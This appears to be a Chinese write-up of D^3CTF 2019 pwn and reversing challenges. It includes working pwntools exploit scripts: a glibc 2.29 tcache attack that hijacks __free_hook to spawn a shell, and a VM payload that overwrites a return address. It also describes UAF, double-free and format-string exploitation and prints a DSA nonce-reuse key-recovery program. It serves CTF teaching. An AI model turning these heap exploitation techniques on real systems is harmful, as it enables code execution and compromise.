rbp+0x48 0xffffffff810027ce pop rsp; ret; <control the rsp to rops>

然后就是提权的rop和iretq了,没啥好说的

另外xdssll的师傅和国外badfirmware战队后面使用了其他更简单的方法,后者应该没写wp,前者可以看看他自己公布的wp

unprintableV

出题人:koocola@L-team

考察点:leak without stdout

题目简介

类型:pwn
名称:unprintable V
主考点: leak without stdout

文件

题目: printf_test
源代码: b.c
libc :libc.so.6 (libc 2.27 Ubuntu 18.04)
exp: exp.py
flag: flag

题目描述

null

利用过程简述

方法一 先修改栈上的buf地址指向io_stdout,利用$hhn修改io_stdout指针为io_stderr(爆破4bit 1/16),然后输出流就被开启了
方法二 修改io_stdout的fileno为2
利用格式化字符串漏洞leak libc地址
然后栈迁移到bss段上用open read write来读flag

basic basic parser

这题其实比较难的地方就是找漏洞,漏洞找到了之后利用其实是非常简单的

因为题目给了源码,所以我们可以硬核c++代码审计借助addresssanitizer或者其他的一些工具来帮助我们分析

clang++ prob.cpp -o probf -fsanitize=address -std=c++11 -g -O0 -fno-omit-frame-pointer -fsanitize-recover=address

而在代码中可以找到一些关键词:

void initTable()
{
        symbol.insert(pair<string, int>("begin", 1));
        symbol.insert(pair<string, int>("end", 2));
        symbol.insert(pair<string, int>("integer", 3));
        symbol.insert(pair<string, int>("if", 4));
        symbol.insert(pair<string, int>("then", 5));
        symbol.insert(pair<string, int>("else", 6));
        symbol.insert(pair<string, int>("function", 7));
        symbol.insert(pair<string, int>("read", 8));
        symbol.insert(pair<string, int>("write", 9));
        symbol.insert(pair<string, int>("symbol", 10));
        symbol.insert(pair<string, int>("constant", 11));
        symbol.insert(pair<string, int>("=", 12));  // eq
        symbol.insert(pair<string, int>("<>", 13)); // ne
        symbol.insert(pair<string, int>("<=", 14));
        symbol.insert(pair<string, int>("<", 15));
        symbol.insert(pair<string, int>(">=", 16));
        symbol.insert(pair<string, int>(">", 17));
        symbol.insert(pair<string, int>("-", 18));
        symbol.insert(pair<string, int>("*", 19));
        symbol.insert(pair<string, int>(":=", 20));
        symbol.insert(pair<string, int>("(", 21));
        symbol.insert(pair<string, int>(")", 22));
        symbol.insert(pair<string, int>(";", 23));
    }

可以简单的对这些关键词进行排列组合来对整个程序进行fuzz,当在beginend中间构造出形如function a;或者integer function AAA;这样的形式时,会触发crash并下面这样的输出:

==4734==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000005b58 at pc 0x00000043afde bp 0x7ffd4064c510 sp 0x7ffd4064bcc0
READ of size 2 at 0x607000005b58 thread T0
    #0 0x43afdd  (/home/pzhxbz/Desktop/p/probf+0x43afdd)
    #1 0x52a278  (/home/pzhxbz/Desktop/p/probf+0x52a278)
    #2 0x531b7f  (/home/pzhxbz/Desktop/p/probf+0x531b7f)
    #3 0x537afe  (/home/pzhxbz/Desktop/p/probf+0x537afe)
    #4 0x51bfc1  (/home/pzhxbz/Desktop/p/probf+0x51bfc1)
    #5 0x5195f0  (/home/pzhxbz/Desktop/p/probf+0x5195f0)
    #6 0x7f30750f7b96  (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #7 0x41c509  (/home/pzhxbz/Desktop/p/probf+0x41c509)

0x607000005b58 is located 56 bytes inside of 80-byte region [0x607000005b20,0x607000005b70)
freed by thread T0 here:
    #0 0x5156e8  (/home/pzhxbz/Desktop/p/probf+0x5156e8)
    #1 0x530cd7  (/home/pzhxbz/Desktop/p/probf+0x530cd7)
    #2 0x52f33c  (/home/pzhxbz/Desktop/p/probf+0x52f33c)
    #3 0x52e0ab  (/home/pzhxbz/Desktop/p/probf+0x52e0ab)
    #4 0x52c4e6  (/home/pzhxbz/Desktop/p/probf+0x52c4e6)
    #5 0x51b8e0  (/home/pzhxbz/Desktop/p/probf+0x51b8e0)
    #6 0x519305  (/home/pzhxbz/Desktop/p/probf+0x519305)
    #7 0x7f30750f7b96  (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)

previously allocated by thread T0 here:
    #0 0x514970  (/home/pzhxbz/Desktop/p/probf+0x514970)
    #1 0x53095a  (/home/pzhxbz/Desktop/p/probf+0x53095a)
    #2 0x52f33c  (/home/pzhxbz/Desktop/p/probf+0x52f33c)
    #3 0x52e0ab  (/home/pzhxbz/Desktop/p/probf+0x52e0ab)
    #4 0x52c4e6  (/home/pzhxbz/Desktop/p/probf+0x52c4e6)
    #5 0x51b8e0  (/home/pzhxbz/Desktop/p/probf+0x51b8e0)
    #6 0x519305  (/home/pzhxbz/Desktop/p/probf+0x519305)
    #7 0x7f30750f7b96  (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)

SUMMARY: AddressSanitizer: heap-use-after-free (/home/pzhxbz/Desktop/p/probf+0x43afdd) 
Shadow bytes around the buggy address:
  0x0c0e7fff8b10: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa 00 00
  0x0c0e7fff8b20: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
  0x0c0e7fff8b30: 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 00 00
  0x0c0e7fff8b40: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c0e7fff8b50: 00 fa fa fa fa fa 00 00 00 00 00 00 00 00 00 00
=>0x0c0e7fff8b60: fa fa fa fa fd fd fd fd fd fd fd[fd]fd fd fa fa
  0x0c0e7fff8b70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8b90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8ba0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8bb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca rdzone:     ca
  Right alloca redzone:    cb
==4734==ABORTING

跟着报错信息,可以找到这个地方:

           lastProcess = nowProcess;
            nowProcess = new Process(p->name, lastProcess->getLevel() + 1);
            allProcess.push_back(nowProcess);
            addVar(p->name, FUNCTION, 1);
            auto ret = S(_get_next(nnext));
            if(ret == _get_next(nnext))
            {
                delete(nowProcess);
                nowProcess = lastProcess;
                return nnext;
            }
            nowProcess = lastProcess;
            return ret;

这里在没有获取到function的主体时会直接free掉当前的process,但是在这之前已经被放入了
allProcess这个list中,而在最后输出变量的时候会遍历这个list,导致了uaf。

利用的话其实没什么难度,就是个常规的uaf,首先覆盖process类中的securt或者processName这些字符串来leak,然后再伪造vars成员来double free,之后直接tcache attack,为了增加利用成功率,这个程序里面got表可写,最后退出的时候也送了一个可控的调用,直接就可以getshell。

ezfile

出题人:huai@L-team

考察点:fileno

题目简介

名称:ezfile
主考点: fileno

文件

题目: ezfile
源代码: ezfile.c
libc :libc.so.6 (libc 2.27 Ubuntu 18.04)
exp: ezfile.py

题目描述

文件 : libc.so.6
描述:
ezfile for fun!

利用过程简述

  • 标准菜单题,功能为add和delete。还有一个encrypt,但是并没卵用。
  • 题目禁止使用execve, 最开始时会调用open打开/dev/urandm,之后scanf读入名字,然后printf名字,读取/dev/urandm然后close。
  • 漏洞是一处tcache double free和栈溢出(只能覆盖到返回地址)。
  • 保护措施: 只关了canary
  • 除了第一次printf之外其他的输出函数都使用write(防止用IOfile泄露地址)

题目利用链:
double free 修改stdin 的 fileno 为 3 (要猜半个字节,概率16分之一)
栈溢出控制返回地址为open,其中rdi和rsi可以控制。 (也要猜半个字节,概率16分之一)。 从encrypt函数中让rdi == addrof(“flag”) rsi = 0 。然后scanf的stdout会从3中读取输入,printf打印出来。

new_heap

出题人:Aris@Vidar

考察点:2.29 tcache+double free

算是魔改pwnable.tw的heapparadise,由于stdin没有setbuf所以getchar的时候会malloc一个0x1000的chunk,可以用来触发malloc_consolidate。另外2.29下tcache新增了double free检查,因为限制了malloc次数,所以构造上还是有一些繁琐的,具体的看exp把没啥特别的新东西(:з」∠)_

#coding=utf8
from pwn import *
# context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0
binary_name = 'new_heap'


ru = lambda x : cn.recvuntil(x)
sn = lambda x : cn.send(x)
rl = lambda   : cn.recvline()
sl = lambda x : cn.sendline(x)
rv = lambda x : cn.recv(x)
sa = lambda a,b : cn.sendafter(a,b)
sla = lambda a,b : cn.sendlineafter(a,b)


bin = ELF('./'+binary_name,checksec=False)


def z(a=''):
    if local:
        gdb.attach(cn,a)
        if a == '':
            raw_input()
    else:
        pass


def add(sz,con):
    sla('3.','1')
    sla('size',str(sz))
    sa('content',con)

def dele(idx):
    sla('3.','2')
    sla('index',str(idx))

libc = ELF('/usr/glibc-2.29/lib/libc.so.6',checksec=False)
times = 0
while True:
    try:
        times += 1
        if local:
            cn = process('./'+binary_name)
            #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
        else:
            cn = remote('0',20001)
            #libc = ELF('')

        ru('good present for African friends:')
        hi = int(rl()[:-1],16)
        success('hi:'+hex(hi))
        for i in range(9):
            add(0x58,'aaa')#0~#8 make two chunk in fastbin
        for i in range(8,-1,-1):
            dele(i)
        # z('c')
        sla('3.','3')
        sla('sure?','n')
        add(0x58,'aaa')#9 take a chunk from tcache
        dele(1)#put fast chunk into tcache,#1->fd is a heap address
        add(0x78,'b'*0x58+p64(0x41)+'x10'+chr(hi-2))#10 overlap #1->fd and change its size
        add(0x78,'asdasd')#11 recover unsortedbin(put chunk to smallbin)
        add(0x58,'a'*0x10+p64(0)+p64(0x21)+'x60x17')#12 realloc #1 and overlap smallbin chunk->fd(which point to arena) to stdout,and next free chunk point to tcache address
        dele(1)# make 0x40 tcache not null
        buf = p64(0x0000000000020000)+p64(0)*3 + p64(0x7000000) + p64(0)*5
        buf+= 'xe0'+chr(hi)
        add(0x58,buf)#13 overlap tcache struct,hijack 0x40 tcache to the chunk which fd is stdout,and fill 0x250 tcache
        add(0x30,'/bin/shx00')#14
        buf = p64(0xfbad1800)+p64(0)*3+'x00'
        add(0x38,buf)#15 overlap stdout,leak the libc address
        cn.recvuntil(':'+'x00'*8,timeout=1)
        lbase = u64(rv(6).ljust(8,'x00')) - libc.sym['_IO_stdfile_2_lock']
        success('lbase:'+hex(lbase))
        dele(13)#free tcache struct to unsorted bin
        buf = p64(0x0000000000000001)+p64(0)*7
        buf+= p64(lbase+libc.sym['__free_hook'])
        add(0x68,buf)#16
        add(0x18,p64(lbase+libc.sym['system']))#17
        dele(14)
        sl('echo shell '+str(times))
        ru('shell')
        cn.interactive()
        exit(0)
    except EOFError:
        cn.close()

babyrop

出题人:coc@CNSS

考察点:VM指令逆向

一个简单的vmpwn,通过虚拟机指令能修改返回地址为Onegadget
逆向一下一些指令:

0x28:pop10 ,sp指针下移10

0x15: push longlong

0x38:mov [rsp+8],0

0x56:mov [rsp],int

0x34:mov [rsp-8],[rsp] ; rsp —

0x21:add [rsp-8],[rsp]

from pwn import *
r = process('./bin')
#r = remote('')
context.log_level = 'debug'


payload =  chr(0x28)                 #pop10
payload += chr(0x15) + p64(0)        #push 1
payload += chr(0x28)                 #pop10
payload += chr(0x38)                 #mov [rsp+8],0
payload += chr(0x56) + p32(0x24a3a)  #mov [rsp],0x24a3a
payload += chr(0X34)                 #mov [rsp-8],[rsp]   rsp -=8 
payload += chr(0x21)                 #add [rsp-8],[rsp]                          
payload += chr(0X34)*5               #mov [rsp-8],[rsp]   rsp -=8

r.sendline(payload)
r.interactive()

 

Rev

ch1pfs

出题人:Aris@Vidar

考察点:了解一下vfs和简单的image结构

之前写着玩的一个fs驱动,格式比较简单,所以套了一层数据加密,insmod的时候需要输入一个key来进行rc4的初始化,然后用rc4加密一个随机内容的block,之后读写文件的时候对数据和该block进行异或。

第一步基本就是逆出fs的大致结构,比如super block在哪,inode的结构是怎样的等等。

然后因为给了一张laopo.png,所以可以对rc4进行已知明文攻击,获得密码流,然后就可以读到key,用key加载驱动就可以正确读取fs的数据,image里可以发现一个加密过的flag,以及加密用的sh脚本。

从sh脚本可知真的flag用enc程序加密过,但并找不到enc程序,说明可能被rm了,但如果enc的inode结构体没有被新的文件覆盖就依然存在,所以enc的数据还在image内,只是从目录中把inode号移除了而已,可以把随便一个文件比如hint的inode号改成enc的(虽然无法直接得知inode号但是可以根据文件大小等推测)。

或者麻烦一点的办法就是逆出blocks是哪些,写个文件提取的脚本直接提取image里面的数据。

easy_dongle

出题人:nen9mA0@L

考察点:ELF uart通讯和固件逆向

GitHub: https://github.com/nen9mA0/d3ctf2019_easy_dongle (目前还没整理上传)

主要思路是实现了个简单(且不完善)的加密狗壳,主要的点还是firmware和elf文件结合似乎之前比赛中没怎么看到过

上位机可执行文件:target (ELF-32文件)

下位机可执行文件:dongle.bin (bin文件)

关于解题具体过程(从一个逆向者的角度)我觉得AAA战队师傅的wp写的非常详细且认真了(他们之后应该会放到网上吧),这里大概讲下整个题目的流程和解密脚本,后续题目应该会开源(本地有仓库不过比较乱得整理下,希望不咕)

bin文件加载方式

下位机型号:STM32F103C8T6

处理器: ARM Little Endian

指令集: ARMv7-M(在IDA加载时注意指定)

内存映射:

  • flash基址0x08000000,大小64K(64K是芯片flash大小,实际create segment时的size参数默认就行)
  • RAM基址0x20000000,大小20K
  • 加载地址0x08000000

可以在github上找到一个stm32L0x的proc map cfg文件 (这个我还没用过)

还有一个神奇的 脚本
题目给了一些提示:注意内存映射、指令集和中断向量表,内存映射用于确定RAM和ROM加载基址,指令集主要是避免选到不是ARMv7-M的坑,向量表主要用于定位主函数(在reset_handler中)。主要还是不希望大家在这种事情上浪费时间

工作原理大致如下

  • 加壳过程: target本身是个和下位机(STM32单片机)通讯的程序,要被加密的ELF文件被加壳器DES加密后放在target的dongle段
  • target访问串口设备从而连接到下位机上,并判断下位机是否为唯一指定的设备(通过单片机的uid)。尔后经过一个简单的协议发送加密的数据到单片机上DES解密,并发回,target程序用一个类似elf loader的程序从发回的内存中加载执行被加密ELF(这里的被加密ELF是个简单的print flag的程序)

然后题目里被加密的程序是个简单的printf(flag)程序,所以flag在第二块1024字节解密时即可看到 = =,这也算是这题的漏洞吧,应该改成一个简单的xor flag程序的。不过其实这题在设计之初点也不在这,所以保留了elf loader程序的一些字符串(这段程序改自这个repo

协议及流程

本来想写个函数地址及其对应功能,不过感觉这样搞wp又臭又长
大概说下流程:

UART通讯

首先ELF端数据接收主要还是用read/write系统调用,但单片机端实现了一个循环队列(源码在bsp/serial.c 不知道有没有人被这段坑到),主要结构体如下

typedef struct
{
    USART_TypeDef* usart;
    uint32_t begin;
    uint32_t count;
    uint8_t *buf;
} usart_buf_ctr;

队列逻辑主要在串口中断处理程序里实现。

上层协议封装

在串口通讯基础上实现了一个简单的协议,由协议头和内容组成,协议头结构体如下

typedef struct
{
    conn_type type;
    uint16_t length;
    uint16_t crc16;
} conn_header;

发送和接收时都是先发送头,再根据length字段发送数据,最后校验crc16

通信协议
master                     slave(初始等待接收)
握手包(conn_type=0xa5)->
                            <-确认包(conn_type=0x5a)
确认包(conn_type=0x5a)->                                   //类似tcp三次握手,这几个包的length属性都为0
                            <-字符串"easy dongle V0.1"
字符串"ok" ->
                            <-单片机8字节uid
异或后的8字节uid,作为密钥->
                            <-字符串"ok"
//=======接下来开始进行解密流程=========
以1025字节为一个封包传送加密数据
其中数据的第一字节为1时表示进行解密操作
为2时表示解密结束
                            <-每个1025字节封包解密后的数据
//==================================
发送第一个字节为2的包    ->
                            <-字符串"ok",代表解密结束
解密算法

简单的des-cbc,padding为PKCS5,IV为”D3CTF{0}”

import os
import struct
import pyDes

def get_target_bin(off):
    target_bin = ""
    binlen = 0
    with open("easy_dongle.elf") as f:
        f.seek(off)
        target_bin = f.read()
        binlen = struct.unpack("<l", target_bin[:4])[0]
        print "binary file len: %d" %binlen
    return target_bin[4:4+binlen]


def gen_decryption(x):
    key = "xcex05xc6xa1x1ex0cx2axee"
    iv = "D3CTF{0}"
    pack_size = 1025 - 1
    out = ""
    xlen = len(x)
    print "len x = %d" %xlen
    for i in xrange(0, xlen, pack_size):
        if xlen-i > pack_size:
            end = i + pack_size
        else:
            end = xlen

        k = pyDes.des(key, pyDes.CBC, iv, pad=None, padmode=pyDes.PAD_PKCS5)
        tmp = k.decrypt(x[i:end])
        out += tmp
        print "len(out) = %d" %len(out)
    return out


if __name__ == '__main__':
    target_bin = get_target_bin(0x3108)
    with open("elf_out", "wb") as f:
        tmp = gen_decryption(target_bin)
        f.write(tmp)
    os.system("chmod +x elf_out")
    os.system("./elf_out")

Ancient Game v2

本题用类似 OISC 的虚拟架构实现了一个经典数独验证,指令共 4 种类型,逻辑操作均通过 NAND 门实现,同时引入了一个分支控制以及两个 I/O 中断。

XOR / AND / OR 等都可以通过 NAND 组合实现,例如:

xor x,y =>
xor_tmp[0] = y NAND y
xor_tmp[1] = x NAND xor_tmp[0]
xor_tmp[2] = x NAND x
xor_tmp[3] = y NAND xor_tmp[2]
x = xor_tmp[1] NAND xor_tmp[3]

基于如下事实:

Q = A XOR B = [ B NAND ( A NAND A ) ] NAND [ A NAND ( B NAND B ) ]

条件跳转可以通过配合 if (a <= 0) { if (b >= 0) { ip = b; continue; } } 实现。

数独验证程序的代码节选如下:

welcome = mkstr("**************************n**  Welcome To D^3CTF   **n**   Ancient Game V2    **n**************************nnInput Flag:")
wrong = mkstr("nSorry, please try again.n")
correct = mkstr("nCorrect.n")

flag = new(50)
// distract = new(1000)
grid = new(81)


// initialize the puzzle
set(grid[0],9)
set(grid[5],8)
set(grid[9],1)
set(grid[10],3)
set(grid[14],9)
set(grid[16],7)
...
set(grid[71],6)
set(grid[75],9)
set(grid[80],1)

__code_start__

// print the welcome message
print(welcome)

// get input
input(flag[0])
input(flag[1])
input(flag[2])
input(flag[3])
input(flag[4])
input(flag[5])
...
input(flag[46])
input(flag[47])
input(flag[48])
input(flag[49])

// transfer chars in the flag into the grids

long_transfer(flag[0],grid[1])
long_transfer(flag[1],grid[2])
...
long_transfer(flag[47],grid[77])
long_transfer(flag[48],grid[78])
long_transfer(flag[49],grid[79])

// xor with xor_table, which is introduced 
//   for generating different flags to different teams

grid[1] = grid[1] ^ xor_table[0]
grid[2] = grid[2] ^ xor_table[1]
grid[3] = grid[3] ^ xor_table[2]
grid[4] = grid[4] ^ xor_table[3]
grid[6] = grid[6] ^ xor_table[4]
grid[7] = grid[7] ^ xor_table[5]
...
grid[77] = grid[77] ^ xor_table[47]
grid[78] = grid[78] ^ xor_table[48]
grid[79] = grid[79] ^ xor_table[49]

// verify the sudoku game

// rows
jmp _label_wrong if grid[4] == grid[5]
jmp _label_wrong if grid[4] == grid[6]
jmp _label_wrong if grid[4] == grid[7]
...
jmp _label_wrong if grid[3] == grid[7]
jmp _label_wrong if grid[3] == grid[8]

// columns
jmp _label_wrong if grid[0] == grid[9]
jmp _label_wrong if grid[0] == grid[18]
jmp _label_wrong if grid[0] == grid[27]
...
jmp _label_wrong if grid[62] == grid[80]
jmp _label_wrong if grid[71] == grid[80]

// subgrids
jmp _label_wrong if grid[0] == grid[1]
jmp _label_wrong if grid[0] == grid[2]
jmp _label_wrong if grid[0] == grid[9]
jmp _label_wrong if grid[0] == grid[10]
...
jmp _label_wrong if grid[78] == grid[79]
jmp _label_wrong if grid[78] == grid[80]
jmp _label_wrong if grid[79] == grid[80]

// check range

jmp _label_wrong if outofnumbers(grid[1])
jmp _label_wrong if outofnumbers(grid[2])
jmp _label_wrong if outofnumbers(grid[3])
jmp _label_wrong if outofnumbers(grid[4])
...
jmp _label_wrong if outofnumbers(grid[76])
jmp _label_wrong if outofnumbers(grid[77])
jmp _label_wrong if outofnumbers(grid[78])
jmp _label_wrong if outofnumbers(grid[79])

_label_correct:
print(correct)
return

_label_wrong:
print(wrong)
return

针对该架构编写编译器,上述代码经过编译后,即为选手拿到的题目。

要做出该题,不用化简所有的逻辑操作,由于没有复杂的循环,可以通过简单的控制流跟踪与符号分析,找出防止控制流跳转至输出“Sorry”的条件,得到符号约束,最后进行约束求解即可。

赛期中,由于出题人的疏忽,错误地将 outofnumbers(var) 函数实现写成了 return var in range(10),导致多解的产生。由于目标数独应只允许填入 1~9, 正确的写法应为 return var in range(1, 10)

Sudoku Map

disappeared_memory

出题人:Ch1p@Vidar

考察点:kernel dump文件分析、windows10 compressed memory

这道题是我在看blackhat 19年的议题时 看到了fireeye团队的

https://i.blackhat.com/USA-19/Thursday/us-19-Sardar-Paging-All-Windows-Geeks-Finding-Evil-In-Windows-10-Compressed-Memory.pdf

https://i.blackhat.com/USA-19/Thursday/us-19-Sardar-Paging-All-Windows-Geeks-Finding-Evil-In-Windows-10-Compressed-Memory-wp.pdf

这两篇文章 觉得蛮有意思 可以作为一个实践题 于是就出了这道题 但从做题情况看来可能是一个屑题:(

考点如下:

首先是对于dump文件的分析 -> windbg的使用

可执行程序为D3CTF.exe 所以选手可以很快的定位,且dump出可执行程序的代码段

稍加分析可以看出来 做的事情就是在桌面上递归去用xor加密*.png文件

这里值得一提的是代码段上只能看到第一页的数据 但是主体函数都在这里 只是函数符号出不来了..为了解决这个问题 这里函数调用都是用LoadLibrary、GetProcAddress获取(现在想来可能是这几页被放在了虚拟内存里面)

但是当选手想去访问数据段(加密后的数据) 会发现并不能访问到

然后结合上述的两篇文章 继续搜索 应该可以发现下面这篇文章(事实上后面给的hint拿来直接搜就可以看到下面这篇文章了)

https://www.fireeye.com/blog/threat-research/2019/08/finding-evil-in-windows-ten-compressed-memory-part-two.html

前两篇是个大概 重点是第三篇 除了最后一个偏移有点问题之外(1709是1848,实际上那附近的指针值也不多 尝试一下就出来了) 其他其实都可以直接靠着这个解出来orz

所以到最后也没有解我是蛮意外的 现在想来可能是一开始的description给的不太明显吧..但是里面其实也指出了可疑进程以及windows10的新特性(

也有可能是由于代码段后面几个页面也看不到 对选手造成了迷惑

但最后给的hint蛮明显的(..所以还是题目问题 出题人在这里谢罪了:(

KeyGenMe

题目用开源库 MIRACL 为游戏实现了一个有弱点的 DSA 签名授权校验,debug 函数被用来生成题目,生成题目的过程中会输出对 flag 的签名(即为该题 flag),同时对 d3ctf 进行签名,保留的文件只有对 d3ctf 的签名,选手需要还原对 flag 的签名。

函数 debug 的步骤:

  • Generate a new random common.dss which contains p, q and g
  • Generate a new random public.dss and private.dss which contains public and private keys
  • Generate a random k
  • Use the generated k to sign message flag, print part of the <r,s> pair as the flag
  • Use the same k to sign message d3ctf, write <r,s> to the signature file signed.out
  • Write k to the signature file signed.out, remove private.dss

载入游戏前会校验授权(signed.out 是否为输入名称的签名),如果是则启动游戏,启动后判断输入名称是否为 flag,正确则输出题目的 flag。

根据泄露的 k 和已知的签名还原 x ,再对 flag 进行签名即可:

x equiv r^{-1} (ks-H(m)) mod q

Solution

#include <stdio.h>
#include <memory.h>
#include <miracl/miracl.h>
#include <stdlib.h>
#include <string.h>

void hashing(char* msg, int msg_len, big hash)
{
    char h[20];
    int i,ch;
    sha sh;
    shs_init(&sh);
    for(i = 0;i<msg_len;i++){
        shs_process(&sh,msg[i]);
    }
    shs_hash(&sh,h);
    bytes_to_big(20,h,hash);
}

int main(){
    FILE *fp;
    big p,q,g,x,y,r,s,k,hash,tmp0,tmp1;
    char msg[] = "d3ctf";
    char flag[] = "flag";
    long seed;
    int bits;
    miracl *mip;

    fp=fopen("common.dss","rt");
    if (fp==NULL) {
        printf("file common.dss does not existn");
        return 0;
    }
    fscanf(fp,"%dn",&bits);
    mip=mirsys(bits/4,16);
    p=mirvar(0);
    q=mirvar(0);
    g=mirvar(0);
    x=mirvar(0);
    y=mirvar(0);
    r=mirvar(0);
    s=mirvar(0);
    k=mirvar(65535);
    hash=mirvar(0);
    tmp0=mirvar(0);
    tmp1=mirvar(0);

    innum(p,fp);
    innum(q,fp);
    innum(g,fp);
    fclose(fp);

    hashing(msg, strlen(msg), hash);
    fp=fopen("signed.out","rt");
    if (fp==NULL) {
        printf("file signed.out does not existn");
        return 0;
    }

    innum(r, fp);
    innum(s, fp);
    innum(k,fp);

    xgcd(k,q,k,k,k);

    fclose(fp);
    tmp1 = r;
    xgcd(r,q,r,r,r); // 1/r mod q
    multiply(k,s,tmp0);
    subtract(tmp0,hash,tmp0);
    multiply(r,tmp0,x);
    divide(x,q,q); // mod q

    hashing(flag, strlen(flag), hash);
    xgcd(r,q,r,r,r); // inverse the inverse of r

    xgcd(k,q,k,k,k); // 1/k mod q
    mad(x,r,hash,q,q,s);
    mad(s,k,k,q,q,s);

    FILE* fd = fopen("signed.out","wt");

    otnum(r,fd);
    otnum(s,fd);
    printf("Done.n");

    return 0;
}

SIMD

出题人:fa1con@L

考察点:avx2,sm4

avx2网上找有很多资料,放点比较重要的

vmovdqu ymm2/m256, ymm1:Move unaligned packed integer values from ymm1 to ymm2/m256.    --->_mm256_setr_epi32 (or similar)
VPCMPEQB ymm1, ymm2, ymm3 /m256:Compare packed bytes in ymm3/m256 and ymm2 for equality.  
vpgatherdd       --->    _mm256_i32gather_epi32
//vpgatherdd example
MASK[MAXVL-1:256] ← 0;
FOR j←0 to 7
    i←j * 32;
    IF MASK[31+i] THEN
        MASK[i +31:i]←FFFFFFFFH; // extend from most significant bit
    ELSE
        MASK[i +31:i]←0;
    FI;
ENDFOR
FOR j←0 to 7
    i←j * 32;
    DATA_ADDR←BASE_ADDR + (SignExtend(VINDEX1[i+31:i])*SCALE + DISP;
    IF MASK[31+i] THEN
        DEST[i +31:i]←FETCH_32BITS(DATA_ADDR); // a fault exits the instruction
    FI;
    MASK[i +31:i]←0;
ENDFOR
DEST[MAXVL-1:256] ← 0;

VPSHUFB ymm1, ymm2, ymm3/m256:Shuffle bytes in ymm2 according to contents of ymm3/m256. --->_mm256_shuffle_epi8

flag分布:

    256register1 :   flag[0:3]    flag[16:19]   flag[32:35]    flag[48:51]    repeat   repeat   repeat    repeat
    256register2 :   flag[4:7]    flag[20:23]   flag[36:39]    flag[52:55]    repeat   repeat   repeat    repeat
    256register3 :   flag[8:11]   flag[24:27]   flag[40:43]    flag[56:59]    repeat   repeat   repeat    repeat
    256register4 :   flag[12:15]  flag[28:31]   flag[44:47]    flag[60:63]    repeat   repeat   repeat    repeat

具体的论文链接
由avx2指令想到分组密码,因为这种并行指令近年来一直应用于密码加速中。逆向工程中运用的密码一般是公开的加密算法,所以会有密钥和一些加密常量,利用这点去搜索常量识别对应的加密算法,在程序的主函数中,并没有发现密钥,(因为我指定了这部分在main函数前执行),可以先搜寻指令,静态看一下程序逻辑,或者在x32dbg中可以看到ymm寄存器,动态调试分析指令做了些什么事,可以发现vpgatherdd是本次挑战中加载数据的主要方式,那么轮密钥也一定是用这个指令加载的,vpgatherdd ymm2, dword ptr [edx+ymm0*4], ymm1应当引起我们重视,跳转到edx所在地址可以发现32个int常量,这就是我们所要找的轮密钥,在这个地址下内存断点,可以跟踪到产生轮密钥的函数sub_412AF0,密钥是unk_54E230,这里用了AES的置换表来异或解得sms4的置换表(具有一点点迷惑性,没啥卵用),搜索常量发现这是sms4算法,然后注意一下计算后密文的分布情况,提取出密文进行解密即可
PS:AAA大哥直接看出这是sm4算法,如果是这样,只需要提取出轮密钥进行解密即可
cipher分布:

256register4 : cipher[0:3]      cipher[16:19]       cipher[32:35]       cipher[48:51]   repeat   repeat   repeat    repeat
256register3 : cipher[4:7]      cipher[20:23]       cipher[36:39]       cipher[52:55]   repeat   repeat   repeat    repeat
256register2 : cipher[8:11]     cipher[24:27]       cipher[40:43]       cipher[56:59]   repeat   repeat   repeat    repeat
256register1 : cipher[12:15]    cipher[28:31]       cipher[44:47]       cipher[60:63]   repeat   repeat   repeat    repeat

程序中对比的密文分布是这样的:cipher[0:3],cipher[16:19],cipher[32:35],cipher[48:51],cipher[4:7],cipher[20:23],cipher[36:39],cipher[52:55],cipher[8:11],cipher[24:27],cipher[40:43],cipher[56:59],cipher[12:15],cipher[28:31],cipher[44:47],cipher[60:63]
整理顺序解密即可

# -*- coding: UTF-8 -*-
# S盒
SboxTable = 
[
    0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05,
    0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
    0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 0xed, 0xcf, 0xac, 0x62,
    0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6,
    0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8,
    0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35,
    0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87,
    0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e,
